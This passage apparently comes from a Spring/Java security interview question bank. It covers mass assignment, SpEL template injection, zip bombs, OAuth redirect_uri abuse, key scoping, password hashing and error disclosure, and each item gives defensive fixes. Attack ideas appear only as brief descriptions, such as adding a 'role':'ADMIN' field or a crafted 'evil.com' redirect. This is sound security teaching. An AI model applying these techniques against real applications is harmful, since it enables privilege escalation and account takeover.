⚠ Follow-up traps
Does CORS block the request from being sent? For simple requests no; the server still processes it.
Is reflecting the Origin safe if you check cookies? No, cookies are sent automatically so it exposes data.
#cors#spring-security#misconfiguration
Q99
A REST endpoint binds the request body straight to a JPA entity with `@RequestBody User user`. What's the vulnerability?
intermediate
Mass assignment: a client adds "role":"ADMIN" or "id" or "enabled":true and Jackson sets those fields, escalating privileges.
Bind to a dedicated DTO containing only permitted fields and map explicitly.
Use @JsonIgnoreProperties(ignoreUnknown = false) or FAIL_ON_UNKNOWN_PROPERTIES to reject surprises.
Use @JsonProperty(access = READ_ONLY) for server-controlled fields as an additional barrier.
⚠ Follow-up traps
Does @JsonIgnore on role fix it everywhere? It also hides it from responses; use DTOs for clarity.
Does Spring MVC data binding (@ModelAttribute) have the same issue? Yes, use setAllowedFields/DTOs.
#mass-assignment#jackson#dto
Q100
Your service uses SpEL or a template engine with user-supplied expressions. What risks exist?
advanced
Expression languages (SpEL, OGNL, EL, FreeMarker, Velocity) can call arbitrary methods, so user-controlled expressions lead to RCE (Spring4Shell and Struts OGNL flaws are in this family).
Don't evaluate user input as expressions; if needed, use SimpleEvaluationContext in Spring, which disables type references and constructors.
Sandbox template engines and restrict classes (TemplateClassResolver in FreeMarker).
Keep frameworks patched.
⚠ Follow-up traps
Is StandardEvaluationContext safe with trusted config? Only if no user data reaches the expression.
Is output escaping a fix? No, this is server-side evaluation before output.
#spel#template-injection#rce
Q101
A scheduled job extracts uploaded ZIP files. A pentester provides a 42 KB file that expands to 4 GB. What defends this?
intermediate
A decompression bomb. Enforce limits while streaming: maximum entry count, maximum bytes per entry and total, and a compression ratio threshold, aborting when exceeded. Do not trust declared sizes.
long total = 0;byte[] buf = new byte[8192];int n;while ((n = zin.read(buf)) > 0) { total += n; if (total > MAX_TOTAL) throw new IOException("Archive too large"); out.write(buf, 0, n);}
Extract in a quota-limited temp directory and clean up.
Combine with path validation for Zip Slip.
⚠ Follow-up traps
Is ZipEntry.getSize() reliable? It can be -1 or falsified; count actual bytes.
Do nested archives matter? Yes, limit recursion depth.
#zip-bomb#dos#archives
Q102
An OAuth redirect endpoint accepts any `redirect_uri` parameter. What is the impact?
intermediate
An attacker crafts a login link with their own redirect_uri; after the victim authenticates, the authorization code or token is delivered to the attacker, causing account takeover. Even a plain open redirect aids phishing.
Require exact string match against pre-registered redirect URIs (no wildcards).
Use authorization code flow with PKCE and the state parameter.
For app-level redirects (post-login next), allow only relative paths or allow-listed hosts.
⚠ Follow-up traps
Is prefix matching OK? No, https://app.example.com.evil.com matches a naive prefix check.
Does PKCE fix redirect tampering? It protects code interception, but you still need exact redirect matching.
#oauth#open-redirect#authorization-code
Q103
A cron job needs to call a third-party API with a long-lived key. How do you reduce blast radius?
intermediate
Scope the key to the minimum API permissions, store it in a secrets manager, fetch at start-up through workload identity, and rotate on schedule with overlap (two active keys) so rotation has no downtime.
Alert on use from unexpected IPs; use IP allow-listing where the provider supports it.
Audit access to the secret and avoid copies in CI variables.
Prepare a documented revoke-and-replace runbook, and test it.
⚠ Follow-up traps
Does rotating every year suffice? Rotation reduces exposure windows; detection and scoping matter more.
How do you rotate without downtime? Support multiple valid keys during the switch, then revoke the old one.
#secrets#least-privilege#rotation
Q104
A security review says "use `SHA-256` of password plus username as salt". What's your response?
basic
Reject it: a predictable salt and a fast hash still allow targeted GPU cracking, and the same username/password pair yields the same hash across systems. Use Argon2id or bcrypt via Spring's PasswordEncoder with a random per-user salt generated by the library.
PasswordEncoder enc = new BCryptPasswordEncoder(12);String stored = enc.encode(rawPassword);boolean ok = enc.matches(rawPassword, stored);
The salt is embedded in the bcrypt output, so there is no separate column.
Rehash on login when the stored cost is below the current policy (upgradeEncoding).
⚠ Follow-up traps
Is a username acceptable as salt if unique? It is guessable and reused across sites; use random salts.
Why avoid writing your own? Subtle bugs in construction (truncation, encoding, comparison) are common.
#password-hashing#salt#code-review
Q105
A pen test shows stack traces and SQL errors in HTTP 500 responses. How do you address it?
basic
Error details reveal class names, library versions, SQL structure and file paths, helping targeted attacks. Return a generic message with a correlation ID and log the detail server-side.
server: error: include-stacktrace: never include-message: never include-binding-errors: never
Implement a @RestControllerAdvice returning RFC 7807 ProblemDetail with safe fields.
Disable Whitelabel/debug pages in production and spring.devtools.
⚠ Follow-up traps
Are validation messages also sensitive? Not usually, but avoid echoing raw input into messages.
Does include-message=never hide custom exception text? Yes, in Boot 2.3+ the default is also never.